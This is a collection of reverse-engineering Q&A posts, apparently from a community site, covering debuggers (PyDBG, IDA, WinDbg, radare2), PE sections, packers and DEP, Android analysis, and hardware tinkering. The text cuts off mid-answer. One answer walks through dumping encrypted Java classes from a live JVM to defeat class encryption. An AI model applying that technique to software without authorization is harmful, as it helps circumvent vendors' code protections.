        "Body": "<p>I am writing a python debugger and disassembler using the PyDBG library I have the disassembler part working, but not all of the debugger. Is it possible to use it to return something similar to:</p>\n\n<pre>\n[*] Dumping registers for thread ID: 0x00000550\n[**] EIP: 0x7c90eb94\n[**] ESP: 0x0007fde0 \n[**] EBP: 0x0007fdfc \n[**] EAX: 0x006ee208\n[**] EBX: 0x00000000\n[**] ECX: 0x0007fdd8 \n[**] EDX: 0x7c90eb94 \n[*] END DUMP\n[*] Dumping registers for thread ID: 0x000005c0 \n[**] EIP: 0x7c95077b\n[**] ESP: 0x0094fff8 \n[**] EBP: 0x00000000\n[**] EAX: 0x00000000\n[**] EBX: 0x00000001\n[**] ECX: 0x00000002\n[**] EDX: 0x00000003\n[*] END DUMP\n</pre>\n\n<p>I need the register state of every thread running. There are several <code>thread_context</code> functions in PyDBG but I'm not sure how to use them to get that result. Thanks for any help!</p>\n",
        "Title": "Can I get different thread registers with PyDBG?",
        "Tags": "|debugging|python|thread|register|",
        "Answer": "<p><strong>:>wmic process get Name,ThreadCount,ProcessId | grep fire</strong></p>\n\n<pre><code>firefox.exe                3944       49\n</code></pre>\n\n<p><strong>:>cat dtregs.py</strong></p>\n\n<pre><code>from pydbg import *\nfrom pydbg.defines import *\ndef handler_breakpoint (pydbg):\n  if pydbg.first_breakpoint:\n    print \"hello did i dump tid and eax for each thread ?\"\n    return DBG_CONTINUE\ndbg = pydbg()\ndbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)\ndbg.attach(3944)\ni = 0;\nfor thread_id in dbg.enumerate_threads():\n  thread_handle  = dbg.open_thread(thread_id)\n  context = dbg.get_thread_context(thread_handle)\n  print \"%03d TID: %08x EAX: %08x\" % (i,thread_handle,context.Eax)\n  i = i+1\npydbg.debug_event_loop(dbg)\ndbg.detach()\n</code></pre>\n\n<p><strong>:>python dtregs.py</strong></p>\n\n<pre><code>000 TID: 00000690 EAX: 00000000\n001 TID: 0000068c EAX: 0158c385\n002 TID: 00000688 EAX: 001b4008\n003 TID: 00000684 EAX: 000000e5\n004 TID: 00000680 EAX: 00000000\n005 TID: 0000067c EAX: 001800a3\n006 TID: 00000678 EAX: 00000000\n007 TID: 00000674 EAX: 000000e5\n...............................\n048 TID: 000005d0 EAX: 77e76c7d\n049 TID: 000005cc EAX: 00000000\nhello did i dump tid and eax for each thread ?\n</code></pre>\n\n<p>just to confirm if it is right to a certain degree lets attach windbg to pid<br>\n<strong>:>cdb -p 3944</strong><br>\n<strong>0:049> ~* e r eax</strong></p>\n\n<pre><code>eax=09b6a201\neax=0158c385\neax=001b4008\neax=000000e5\neax=0036ee80\neax=00000171\neax=00000000\n--------------\neax=098f3ec0\neax=000000e5\neax=150ff530\neax=11d5ff00\neax=111fff00\neax=77e76c7d\neax=7ffdd000\n0:049&gt; .detach\nDetached\nNoTarget&gt; q\n</code></pre>\n"
    },
    {
        "Id": "11688",
        "CreationDate": "2016-01-03T17:34:01.150",
        "Body": "<p>I'd like to reverse engineer a car stereo front removable panel. It's a leftover from a broken car stereo. I'd like to do so by connecting the panel's 14 connections to Raspberry Pi 2 model B's GPIO pins and controlling the pins via a Python program. The idea is to be able to use the panel's display and buttons. The panel has an infrared receiver, so I may like to use that as well (if I manage to find the remote control).</p>\n\n<p><a href=\"https://i.stack.imgur.com/mqwU2.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mqwU2.jpg\" alt=\"car stereo panel front side\"></a>\n<a href=\"https://i.stack.imgur.com/9MMvm.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/9MMvm.jpg\" alt=\"car stereo panel back side\"></a></p>\n\n<p>The car stereo is LG LAC-M3600R CD/MP3 player.</p>\n\n<p>Is this doable? If it is, where should I begin? Any advice is greatly appreciated.</p>\n",
        "Title": "Reverse engineering car stereo panel",
        "Tags": "|hardware|python|",
        "Answer": "<p>The first step is to figure out the purpose of each of those pins. The easiest way to do this is to Google for the LAC-M3600R's service manual (note that this is different from the user manual). That device's service manual contains the following diagram for the back of the faceplate:</p>\n\n<p><a href=\"https://i.stack.imgur.com/iPyQw.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/iPyQw.png\" alt=\"Pin diagram\"></a></p>\n\n<p>As you can see above, the pins are (beginning from top-right, moving counter-clockwise):</p>\n\n<pre><code> 1. GND\n 2. KEY IN1\n 3. KEY IN2\n 4. LCD RES\n 5. LCD DO\n 6. LCD CLK\n 7. GND\n 8. LCD CE\n 9. VDD\n 10. LCD 9.4V\n 11. LED 9.4V\n 12. VR DN\n 13. VR UP\n 14. RMC\n</code></pre>\n\n<p>You'd likely then need to use an ohmmeter to <a href=\"http://www.stevemeadedesigns.com/board/topic/113384-06-civic-build-new-build-list-on-page-60/page-91#entry1894626\" rel=\"nofollow noreferrer\">start measuring resistance, etc. for each pin</a> and connect those pins to your Pi's GPIO pins (further questions in that arena would likely be better asked on <a href=\"https://electronics.stackexchange.com/\">https://electronics.stackexchange.com/</a>.)</p>\n"
    },
    {
        "Id": "11707",
        "CreationDate": "2016-01-06T17:41:16.350",
        "Body": "<p>I use the following script to set IDA in trace mode and make it stop as soon as EAX register is set to a given value :</p>\n\n<pre><code>#include &lt;idc.idc&gt;\n\nstatic main()\n{\n    auto r_eip, code, eax;\n\n    EnableTracing(TRACE_STEP, 1);\n\n    for ( code = GetDebuggerEvent(WFNE_ANY|WFNE_CONT, -1); // resume\n        code &gt; 0;\n        code = GetDebuggerEvent(WFNE_ANY, -1) )\n    {                  \n        r_eip = GetEventEa();\n\n        eax = GetRegValue(\"EAX\");\n        Message(\"EAX:%08Xh\\n\", eax);\n\n        if ( eax == 0x00000001 )\n            break;\n    }\n\n    PauseProcess();\n    EnableTracing(TRACE_STEP, 0);    \n}\n</code></pre>\n\n<p>However it does not work : i get the following error message : \"Variable 'EAX' is undefined</p>\n\n<p>If i put the line with <code>eax = GetRegValue(...)</code> in comment, in run but then eax is always zero.</p>\n\n<p>The code is adapted from here :\n<a href=\"https://www.hex-rays.com/products/ida/debugger/scriptable.shtml\" rel=\"nofollow\">https://www.hex-rays.com/products/ida/debugger/scriptable.shtml</a></p>\n",
        "Title": "How to stop IDA debugger when a register is set to a particular value?",
        "Tags": "|ida|ida-plugin|breakpoint|register|",
        "Answer": "<p>You can use the following IDC script for the purpose. It would stop whenever register <code>eax</code> contains 0. The debugger must be running when the script is executed.</p>\n\n<pre><code>#include &lt;idc.idc&gt;\n\nstatic main()\n{\n    for(;;)\n    {\n        StepInto();\n        if (GetDebuggerEvent(WFNE_SUSP, -1) == STEP)\n        {\n            if (eax == 0) \n            {\n                break;\n            }\n        }        \n    }\n    PauseProcess();\n}\n</code></pre>\n"
    },
    {
        "Id": "11712",
        "CreationDate": "2016-01-07T10:50:01.333",
        "Body": "<p>Modern operating systems have memory protections such as Data Execution Prevention, No Execute bit for Data, Read-only bit for text/code sections etc.\nI don't understand how packers work when these memory protections are in place.\nWhere do the packers unpack the compressed/encrypted binaries when the code pages are marked Read-Only and data pages are marked for No Execute?</p>\n",
        "Title": "How can packers work despite mechanisms like Data Execution Prevention?",
        "Tags": "|packers|",
        "Answer": "<p>The unpacker will request a page of memory from the OS that is marked write and unpack the code into there. Once the unpacking is done it will use <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa366898%28v=vs.85%29.aspx\">VirtualProtect</a> on windows or <a href=\"http://man7.org/linux/man-pages/man2/mprotect.2.html\">mprotect</a> on posix compliant systems to change the protection bits to read-only and execute (or allocate the page as read-write+execute in the first place and skip making it read+execute-only).</p>\n\n<p>In other words the application gets enough control over the protection bits to do run-time code generation.</p>\n"
    },
    {
        "Id": "11715",
        "CreationDate": "2016-01-07T12:36:18.573",
        "Body": "<p>I really like radare2 and I am trying to follow a tutorial in which some code is changed to data. The tutorial uses IDA, I have tryed this with radare2. I entered visual mode by pressing <code>V</code> and cursor mode by pressing <code>c</code>. I stepped to the code which I want to modify.</p>\n\n<pre><code>|           0x00400440   *  31ed           xorl %ebp, %ebp             ; [12] va=0x00400440 pa=0x00000440 sz=386 vsz= \n|           0x00400442      4989d1         movq %rdx, %r9  \n</code></pre>\n\n<p>After pressing <code>dd</code> the following output appeared:</p>\n\n<pre><code>0x00400440 hex length=175 delta=0                                                                         \n0x00400440 |31ed 4989 d15e 4889 e248 83e4 f050 5449| 1.I..^H..H...PTI                                                 \n0x00400450 |c7c0 c005 4000 48c7 c150 0540 0048 c7c7| ....@.H..P.@.H..                                                 \n0x00400460 |3605 4000 e8b7 ffff fff4 660f 1f44 0000| 6.@.......f..D..                                                 \n0x00400470 |b847 1060 0055 482d 4010 6000 4883 f80e| .G.`.UH-@.`.H...                                                 \n0x00400480 |4889 e576 1bb8 0000 0000 4885 c074 115d| H..v......H..t.]                                                 \n0x00400490 |bf40 1060 00ff e066 0f1f 8400 0000 0000| .@.`...f........                                                 \n0x004004a0 |5dc3 0f1f 4000 662e 0f1f 8400 0000 0000| ]...@.f.........                                                 \n0x004004b0 |be40 1060 0055 4881 ee40 1060 0048 c1fe| .@.`.UH..@.`.H..                                                 \n0x004004c0 |0348 89e5 4889 f048 c1e8 3f48 01c6 48d1| .H..H..H..?H..H.                                                 \n0x004004d0 |fe74 15b8 0000 0000 4885 c074 0b5d bf40| .t......H..t.].@                                                 \n0x004004e0 |1060 00ff e00f 1f00 5dc3 660f 1f44 00  | .`......].f..D.                                                  \n                                                                       ; [12] va=0x00400440 pa=0x00000440 sz=386 vsz= \n            0x004004ef  ~   00803d490b20   addb %al, 0x200b493d(%rax) \n</code></pre>\n\n<p>Pressing <code>dd</code> again disappears. After pressing <code>dd</code> again nothing happens. This happens with all new lines, but I think the bytes remain interpreted as code since they are disassembled. Plese show me ho can I do this in radare2. I haven't done this before in any disassembler.</p>\n",
        "Title": "Changing code to data in radare2",
        "Tags": "|radare2|",
        "Answer": "<p>Use <code>Cd</code> command for that:\n<code>Cd[-] [size] [@addr] Hexdump data</code>\nIt will mark the selected block as a data.</p>\n"
    },
    {
        "Id": "11725",
        "CreationDate": "2016-01-09T00:27:22.983",
        "Body": "<p>I'm trying to disassemble this code:</p>\n\n<pre><code>int main()\n{\n    int arr[5] = {1,2,3,4,5};\n    int i;\n    for(i=0;i&lt;5;i++)\n    {\n        printf(\"Element:%d\\n\",arr[i]);\n    }\n    return 0;\n}\n</code></pre>\n\n<p>IDA output: <code>sub esp, 30h</code></p>\n\n<p>Question: What does it mean? I thought it would be <code>18h(5x4+4)</code></p>\n",
        "Title": "Stack and local variables",
        "Tags": "|ida|disassembly|",
        "Answer": "<p>It seems like you are compiling under amd64 (which is quite likely in 2016 ;). Compiler allocates all stack memory (but not only, the same for function arguments) with alignment to 8 bits. You assume, that int is 32 bits, and it might me 32 bits on your machine, but compiler still will be allocating 8 bytes (64 bits). So 5*8+8=48 = 0x30.</p>\n\n<p>Try allocating an array of five chars (aka uint8_t). The compiler will still allocate 8 bytes * number of elements.</p>\n\n<p>Read about attribute packed (gcc) or pragma pack (Windows).</p>\n"
    },
    {
        "Id": "11727",
        "CreationDate": "2016-01-09T01:45:34.557",
        "Body": "<p>Is it possible to get the name and path of a DLL that is loaded by the application using PyDBG and System_dll.py? I have a script and PyDBG handles loaded dlls with just:\n<code>dbg.set_callback(LOAD_DLL_DEBUG_EVENT, handler_print_dll_loaded)</code></p>\n\n<p>Is there a way to get the loaded DLL's using tools in pydbg to return somthing similar to Immunity Debuggers <code>Log Data</code> window:</p>\n\n<p><code>67EE0000   Module C:\\windows\\SYSTEM32\\OLEPRO32.DLL\n 69E20000   Module C:\\windows\\SYSTEM32\\oledlg.dll\n 6F5E0000   Module C:\\windows\\SYSTEM32\\WINMMBASE.dll\n 6F7F0000   Module C:\\windows\\SYSTEM32\\WINMM.dll\n etc...</code></p>\n",
        "Title": "Get DLL name with PyDBG and System_dll.py?",
        "Tags": "|debugging|debuggers|dll|python|",
        "Answer": "<p><strong>:>type ENUMMODS.PY</strong>    </p>\n\n<pre><code>import sys\nfrom pydbg import * \nfor modules in pydbg().attach(int(sys.argv[1])).enumerate_modules():\n    print modules\npydbg().detach()\n</code></pre>\n\n<p><strong>:>ENUMMODS.PY</strong></p>\n\n<pre><code>('calc.exe', 12517376L)\n('ntdll.dll', 1999765504L)\n('kernel32.dll', 1970733056L)\n('KERNELBASE.dll', 1968111616L)\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\n('oleacc.dll', 1836253184L)\n</code></pre>\n"
    },
    {
        "Id": "11743",
        "CreationDate": "2016-01-11T15:25:02.670",
        "Body": "<p>I got a malicious kernel mode driver from VirusTotal. Now, I am trying to debug it using Windbg.</p>\n\n<p>Below are the details of the setup:</p>\n\n<p>Host OS: Win 7 Ultimate 64-bit, Windbg version 6.11.x, VMWare Workstation and Guest OS: Win XP SP3</p>\n\n<p>I placed the kernel mode driver in Guest OS in the path: C:\\drivers\\test</p>\n\n<p>Added .sys extension to the kernel mode driver.</p>\n\n<p>In Windbg on Host OS, I attached to the guest OS through Named Pipe. Set the breakpoint to break at DriverEntry of the driver as shown below:</p>\n\n<pre><code>bu malicious_driver!DriverEntry\n</code></pre>\n\n<p>Then press g.</p>\n\n<p>In Guest OS, used OSR Driver Loader from osronline.com to load the driver.</p>\n\n<p>Browsed for the Driver, Registered the Service and started the Service.</p>\n\n<p>I break in Windbg however I receive the following error message:</p>\n\n<pre><code>kd&gt; bu malicious_driver!DriverEntry\nkd&gt; g\n*** ERROR: Module load completed but symbols could not be loaded for malicious_driver.sys\nBreakpoint 0's offset expression evaluation failed.\nCheck for invalid symbols or bad syntax.\nWaitForEvent failed\nnt!DebugService2+0x11:\n8052e4c5 5d              pop     ebp\nkd&gt; !drvobj malicious_driver\nDriver object (b25eb000) is for:\nb25eb000: is not a driver object\n</code></pre>\n\n<p>Please note that I am able to successfully break at the DriverEntry of known legitimate Microsoft Windows OS drivers like ndis.sys, http.sys</p>\n\n<p>However, how do I break at the entry point of malicious drivers as in this case? I don't have the symbols for them either.</p>\n\n<p>Thanks.</p>\n",
        "Title": "Unable to break at DriverEntry of malicious Driver",
        "Tags": "|windbg|kernel-mode|",
        "Answer": "<p>Try \"break on module load\" (e.g. <code>sxe ld malicious_driver.sys</code>). When it's hit, you can check the driver's load address and set  breakpoint by address.</p>\n"
    },
    {
        "Id": "11746",
        "CreationDate": "2016-01-12T11:35:21.080",
        "Body": "<p>I have a couple of classes that are encrypted. The class loader must decrypt these before executing in the JVM.</p>\n\n<p>The question is, how and where?</p>\n\n<p>What can I do to understand who is responsible to decrypt these classes before deploy?</p>\n",
        "Title": "Java - Decipher encrypted classes in a jar file",
        "Tags": "|encryption|java|byte-code|jar|",
        "Answer": "<p>I also had this issue, where I was trying to decompile some java classes but they were all encrypted and I think there is a non obvious solution I would like to mention before I describe how to actually do the decrypting and that is:</p>\n<p>(1) Try and find an older version of the software that doesn't contain encrypted classes. If it is a public application you might be able to find older version on archive.org and it's very possible that the classes were not encrypted in the older version.</p>\n<hr />\n<p>However, if you are stuck with an encrypted jar, or java application loaded from a native application then there is a pretty obvious way to decrypt it, and the principle of how to do this are described <a href=\"https://www.infoworld.com/article/2077342/cracking-java-byte-code-encryption.html\" rel=\"nofollow noreferrer\">in this infoworld article</a>. But these are just the principles, how do you do this in practice?</p>\n<p>Well the most obvious way that I found is to dump the classes loaded by the jvm. The article describes making edits to .class files that pretty much do exactly this, but it's kinda hard to do this if your class files are loaded by a .exe or something. Whether you're trying to decrypt a java class that is loaded by a .exe/.dmg/.jar it will have to at some point touch a jvm - I think. Knowing this, we can use an external tool to do the dumping instead of editing the java program to dump its own files.</p>\n<p>At a high level the way to do this is:</p>\n<ol>\n<li><p>Download <a href=\"https://github.com/hengyunabc/dumpclass\" rel=\"nofollow noreferrer\">dumpclass.jar</a>- this is the external tool that can look in the jvm and dump the classes we care about.</p>\n</li>\n<li><p>Setup dumpclass.jar -\nThis step is a bit annoying because dumpclass.jar needs to run on the same jvm that is running your encrypted java classes. What makes it harder is that dumpclass.jar depends on some parts of the jdk which, if your application is using a .exe to launch itself, it can be pretty hard to use a specific jvm, like the one from the jdk, to launch it. Also it can be difficult if your java application will only run on an older version of the jvm, which doesn't support dumpclass.jar, or will only think java is installed if it finds a <code>/jre/</code> folder on your computer, despite what you set the <code>JVM_HOME</code> environmental variable to. This step is actually a lot annoying and it's hard to give a step by step description because it depends a lot on what you're trying to reverse engineer. However, assuming your java application can run on a jvm that is higher than 1.6, because before that one of the dependencies of dumpclass works in a weird way, then ideally you will: (1a) install the jdk(!) of your choice. (1b) Run your java application with the jvm in the jdk...</p>\n</li>\n<li><p>Run dumpclass.jar with the jvm in the jdk and make sure it can display a usage message</p>\n</li>\n<li><p>Then you can get the process of the java application with the java classes you want to decrypt, if this is an exe you will use the exe process id.</p>\n</li>\n<li><p>Run the dumpclass.jar command, on the process id, with a small modification. The original command asks you to give a filter so that you don't get every class on the jvm. However, I think it is much simpler to just get every class in the jvm and the browse to the one you are looking for in once they have been dumped. Specifically, while the dumpclass docs say you should do this <code>java -jar dumpclass.jar -p 4345 *StringUtils</code> rather do this <code>java -jar dumpclass.jar -p 4345</code> - the files should all be dumped right next to the location of the dumpclass jar. And then you can browse through them to find the decrypted .class files of the application you care about.</p>\n</li>\n</ol>\n<p><strong>NB: If dumpclass says 0 classes dumped after you run it, but takes a while to do the dumping, ignore it, the classes were dumped and for some reason it is not reporting the correct number of classes.</strong> If you don't see the classes next to dumpclass.jar try setting the output path explicitly.</p>\n<p>Some other tips:</p>\n<ul>\n<li>If you run into an error that talks about <code>SwDbgSrv</code> see my answer here: <a href=\"https://stackoverflow.com/questions/10783256/how-to-start-swdbgsrv-exe-in-windows-7/64321750#64321750\">https://stackoverflow.com/questions/10783256/how-to-start-swdbgsrv-exe-in-windows-7/64321750#64321750</a></li>\n<li>Use <a href=\"https://github.com/Konloch/bytecode-viewer\" rel=\"nofollow noreferrer\">bytecode-viewer</a> to decompile the classes once you have decrypted them, it's <em>really good</em></li>\n<li>If you run into other errors about missing java libraries then its possible that dumpclass is not using the jdk jvm, in which case you will either have to make sure it is, or copy the libraries from jdk jvm to the jre jvm. For example this happened to me with the sa-jdi.jar, it was included with the jdk but because I was using the jre jvm, because the application I was trying to decompile couldn't find the jdk, I ran into tons of errors. I eventually tried to download the .jar just from a google search and that caused even more errors. If this happens to you, you will pretty much just need to download the jdk for your jre version and copy the specific libraries it can't find from the jdk to the jre. There are only a few.</li>\n</ul>\n"
    },
    {
        "Id": "11752",
        "CreationDate": "2016-01-13T05:50:10.070",
        "Body": "<p>An APK I'm working on uses some sort of algorithm to generate a hash which is sent along with an HTTP request. I want to figure out how the algorithm works.</p>\n\n<p>Decompiling the APK to Java is of no help at all because it is much too obfuscated and there is clearly a ton of jumping around to separate files, it's impossible to follow.</p>\n\n<p>Analysing the SMALI is much more helpful, but still very difficult to follow due to the use of many different files, and also the generic/meaningless function names.</p>\n\n<p>I have IDA Pro but I don't have the Hex rays decompiler. There is also an extremely small amount of tutorials on using IDA Pro with Android. Is IDA Pro useless here? Smali is definitely easier to understand than the raw machine code instructions.</p>\n\n<p>What are my options for analysing and figuring out this algorithm?</p>\n\n<p>Thank you for your suggestions</p>\n",
        "Title": "Android - Analyzing complex hash algorithm",
        "Tags": "|ida|android|decompile|apk|",
        "Answer": "<p>IDA PRO is useful for analyzing native code. Hex-Rays decompiler decompiles ARM and x86/x64, not java. For your specific case IDA pro would be useful if this hashing algorithm would be compiled in native code and called with JNI like interface.</p>\n\n<p>For your specific case IDA is almost useless because almost all of its advantages related to native code analysis. </p>\n"
    },
    {
        "Id": "11755",
        "CreationDate": "2016-01-13T11:34:49.107",
        "Body": "<p>If you have an execution trace of a program, and know it uses say AES for encryption.</p>\n\n<p>Can you isolate the instructions for encryption with that knowledge alone?</p>\n",
        "Title": "Isolating encrypt/decrypt instructions in an execution trace",
        "Tags": "|encryption|tracing|",
        "Answer": "<p>Generally speaking, it depends on the platform. For example, if the software uses <a href=\"https://en.wikipedia.org/wiki/AES_instruction_set\" rel=\"nofollow\">Intel AES extensions</a> it is possible to find the corresponding instructions in the disassembly. If the software is compiled for other platforms and uses specific hardware accelerators it is possible to find it by accesses to specific addresses of the accelerators registers.</p>\n\n<p>If there is no specific accelerator or specific instruction set it is possible to find <a href=\"https://en.wikipedia.org/wiki/Rijndael_S-box\" rel=\"nofollow\">S-BOX</a> constants and check which instructions are accessing it.</p>\n\n<p>There are some plugins for IDA that able to do this work for you, for example\n<a href=\"https://www.aldeid.com/wiki/IDA-Pro/plugins/FindCrypt2\" rel=\"nofollow\">FindCrypt2</a>.</p>\n\n<p>In addition there is a presentation from <a href=\"http://recon.cx\" rel=\"nofollow\">recon</a> conference about locating such an algorithms in obfuscated code <a href=\"https://recon.cx/2012/schedule/attachments/46_Joan_CryptographicFunctionIdentification.pdf\" rel=\"nofollow\">here</a>.</p>\n"
    },
    {
        "Id": "11758",
        "CreationDate": "2016-01-14T04:55:52.057",
        "Body": "<p>I want to clone ollydbg's functionalities in vb6, so I could write my own tools easier then using it's scripting engine.</p>\n\n<p>I started of with trying to map the memory map's addresses exactly the same way ollydbg does it.</p>\n\n<p><a href=\"https://i.stack.imgur.com/AjHpH.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/AjHpH.png\" alt=\"ollyview\"></a></p>\n\n<p>The PE header is at 0x00400000 with Size 0x1000</p>\n\n<p>I assume the 0x00400000 is retrieved like so.</p>\n\n<pre><code>Dim AddressOfPE As Long = NTHEADER.OptionalHeader.ImageBase\n</code></pre>\n\n<p>Now I want to map the addresses for all the other stuff most importantly <code>.text</code> <code>.rdata</code> but I wouldn't mind having them all.</p>\n\n<p>what I tried is this</p>\n\n<pre><code>For u = 0 To UBound(SECTIONSHEADER)\n    AddressStart = AddressOfPE + SECTIONSHEADER(u).VirtualAddress\n    Debug.Print \"(\" &amp; u &amp; \") \" &amp; SECTIONSHEADER(u).nameSec &amp; _\n    \" AddressStart = \" &amp; Hex(AddressStart) &amp; _\n    \" VirtualAddress = \" &amp; Hex(SECTIONSHEADER(u).VirtualAddress) &amp; _\n    \" VirtualSize = \" &amp; Hex(SECTIONSHEADER(u).VirtualSize) &amp; _\n    \" SizeOfRawData = \" &amp; Hex(SECTIONSHEADER(u).SizeOfRawData)\n    'Hunt for strings\n    If SECTIONSHEADER(u).nameSec = \".rdata\" Or SECTIONSHEADER(u).nameSec = \".data\" Then\n        MsgBox \"a\"\n    End If\n    AddressEnd = AddressStart + SECTIONSHEADER(u).SizeOfRawData\n    Debug.Print \"(\" &amp; u &amp; \") \" &amp; SECTIONSHEADER(u).nameSec &amp; _\n    \" AddressEnd(?) = \" &amp; Hex(AddressEnd) &amp; _\n    \" OllyAddressEnd(?) = \" &amp; Hex(SECTIONSHEADER(u).SizeOfRawData)\nNext u\n</code></pre>\n\n<p>Debug log looks like this</p>\n\n<pre><code>(0) .text  AddressStart = 401000 VirtualAddress = 1000 VirtualSize = 1FAB3AD SizeOfRawData = 1FAB400\n(0) .text  AddressEnd(?) = 23AC400 OllyAddressEnd(?) = 1FAB400\n(1) .rdata AddressStart = 23AD000 VirtualAddress = 1FAD000 VirtualSize = 855586 SizeOfRawData = 855600\n(1) .rdata AddressEnd(?) = 2C02600 OllyAddressEnd(?) = 855600\n(2) .data  AddressStart = 2C03000 VirtualAddress = 2803000 VirtualSize = 2D045C4 SizeOfRawData = 1DF000\n(2) .data  AddressEnd(?) = 2DE2000 OllyAddressEnd(?) = 1DF000\n(3) .rsrc  AddressStart = 5908000 VirtualAddress = 5508000 VirtualSize = 105CC SizeOfRawData = 10600\n(3) .rsrc  AddressEnd(?) = 5918600 OllyAddressEnd(?) = 10600\n</code></pre>\n\n<p>Looking at this image seems I got it all right? but the size addresses are off.</p>\n\n<p><a href=\"https://i.stack.imgur.com/tb1dM.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/tb1dM.jpg\" alt=\"pe101 image\"></a></p>\n",
        "Title": "How do you calculate Address Start / Size of PE Section like .rdata / .data",
        "Tags": "|ollydbg|pe|vb6|",
        "Answer": "<p>Dang I solved it, I thought you had to add the previous section size to create new section address but it doesn't work like that.</p>\n\n<p>Still got a little bug where <code>VirtualSize</code> is smaller then OllyDbg's Memory Map Sizes for that section, but it seems <code>SizeOfRawData</code> is more accurate sometimes?</p>\n\n<p>But I guess I could fix this by taking the previous StartAddress for each section and subtracting one from it to get the End Size.</p>\n\n<p>I guess I could mark this solved.</p>\n\n<pre><code>Dim AddressOfPE As Long\nDim RawFileOffsetToCheck As Long\nDim StartAddress as Long\nDim EndAddresss as Long   \n\nAddressOfPE = NTHEADER.OptionalHeader.ImageBase\n\nFor u = 0 To UBound(SECTIONSHEADER)\n    StartAddress = AddressOfPE + SECTIONSHEADER(u).VirtualAddress\n    EndAddresss = AddressOfPE + RoundUp((SECTIONSHEADER(u).VirtualAddress + SECTIONSHEADER(u).VirtualSize), NtHeader.OptionalHeader.SectionAlignment) - 1\n\n    If offset &gt;= StartAddress And offset &lt;= EndAddresss Then\n        RawFileOffsetToCheck = offset - StartAddress  + SECTIONSHEADER(u).PointerToRawData\n    End If\n    'Hunt for strings\n    'TODO: Use the STUFF here.. pretty easy since we get the file offset here [RawFileOffsetToCheck]\nNext u\n\n\nPublic Function RoundUp(V, M) As Long\n    If (V Mod M) = 0 Then\n        RoundUp = V\n    Else\n        RoundUp = ((V \\ M) + 1) * M\n    End If\nEnd Function\n</code></pre>\n\n<p>Debug outputs exactly like ollydbg view</p>\n\n<pre><code>.text  401000 23ACFFF\n.rdata 23AD000 2C02FFF\n.data  2C03000 5907FFF\n.rsrc  5908000 5918FFF\n</code></pre>\n"
    },
    {
        "Id": "11761",
        "CreationDate": "2016-01-14T13:29:25.423",
        "Body": "<p>Say for example I'm searching for a malware that writes data, or sends data about my OS to external sources, or writes hidden files or registry entries.</p>\n\n<p>Is there a particular tool that tells me EVERYTHING an installer/executable does? This is regarding the Windows platform.</p>\n",
        "Title": "How to analyze deeply every single step of a windows executable/installer",
        "Tags": "|executable|",
        "Answer": "<p>You may wish to use a tool called RegShot for monitoring changes in the registry. You would take a snapshot of the registry, and then run the suspicious program, any changes will be highlighted by RegShot in the next snapshot you take - <a href=\"http://sourceforge.net/projects/regshot/\" rel=\"nofollow\" title=\"RegShot - Sourceforge\">RegShot - Sourceforge</a></p>\n"
    },
    {
        "Id": "11766",
        "CreationDate": "2016-01-15T08:31:13.700",
        "Body": "<p>Please bear with me as I explain this situation.</p>\n<p>Maybe 10 days ago I took up the challenge of reverse engineering an Android app. Learning from scratch, I installed ADB, Apktool, Android Studio, Notepad++ with Smali highlighting etc. My approach has been to write test programs in Android studio that mirror the workings of the APK, and then decompile with Apktool to help me do Smali modifications. I've been successful in modifying the application to log all HTTP requests, headers, cookies, and post data to the android log.</p>\n<p>My next challenge was to figure out how an important algorithm in the app works. This is what stumped me. I spent the last 3 or 4 days spending the majority of my day analysing Smali code making almost no progress. Apparently the algorithm is done (at least in part if not mostly) in a native library with the .so extension.</p>\n<p><strong>One of the extremely frustrating things about Reverse engineering is how small the community is</strong>. There are very few resources on the web (At least compared to other things). I've probably bitten off more than I can chew. I always attempt difficult projects that are above my skill level. For this task, I'm guessing I need to become very familiar with ARM and I'll have to use IDA Pro to analyse the .so file? To explain my knowledge level:</p>\n<ul>\n<li>I have very little experience using Ollydbg in Windows (I have slight\nunderstanding of registers and CMP, JMP, ADD commands, etc.)</li>\n<li>I have no\nexperience using IDA Pro. I'm quite new to reverse engineering, but I've had success with simple Smali modding because it's simple in\nsome situations.</li>\n<li>I know basic Java (To be clear, I'm not a complete beginner, variables, for loops, arrays, classes (to an extent) are second nature to me)</li>\n<li>I know basic C++ if not more than\nbasic</li>\n<li>I've done a lot of VB.NET programming.</li>\n<li>I feel quite knowledgeable in Python.</li>\n</ul>\n<p>So I'm experienced with programming, but not really reverse engineering. How in over my head am I attempting to understand this complex native library (When I already know practically nothing about native libraries/JNI)? Could the professionals here please give me some specific examples of how I can get to the level where I am knowledgeable enough to complete my goal? I don't want to just give up because this is a difficult challenge. Please give me suggestions of how I can progress enough to complete my goal. I assume I'll need to learn IDA Pro and how ARM works.</p>\n<p>Thanks</p>\n",
        "Title": "How Do I get proficient at Reverse engineering?",
        "Tags": "|ida|android|apk|",
        "Answer": "<blockquote>\n  <p>I spent the last 3 or 4 days\n  spending the majority of my day analysing Smali code making almost no\n  progress.</p>\n</blockquote>\n\n<p>I know it feels like you've made \"no progress\", but I'd encourage you to not look at it that way. You spent 3 or 4 days figuring out which approaches <em>don't work</em>, which is in itself progress. And you also built up 3 or 4 days of reverse engineering experience, regardless of how fruitful the immediate outcome was.</p>\n\n<blockquote>\n  <p>Apparently the algorithm is done (at least in part if not\n  mostly) in a native library with the .so extension.</p>\n  \n  <p>...</p>\n  \n  <p>How in over my head am I attempting to understand this complex native library?</p>\n</blockquote>\n\n<p>Given that you've determined that the Java code calls out to the .so library, it shouldn't be too difficult to find the native function in the .so library since the native function would be exported-by-name for JNI compatibility. This means that you don't in fact need to \"understand this complex native library\" in its entirety, but rather just the one native function in question (in addition to the functions that that function calls).</p>\n\n<p>If the native code is not heavily obfuscated and if you have <a href=\"https://www.hex-rays.com/products/decompiler/index.shtml\">Hex-Rays for ARM</a>, it should be relatively <a href=\"https://www.hex-rays.com/products/decompiler/compare_arm0.shtml\">easy to understand</a> the target function. If, on the other hand, you don't have Hex-Rays, then you can use the <a href=\"https://www.hex-rays.com/products/ida/support/download_demo.shtml\">evaluation version of IDA Pro</a> to disassemble the target function. You'd need to manually analyze the ARM instructions to determine what the function is doing. Although that can be tedious, ARM instructions and the architecture in general are <a 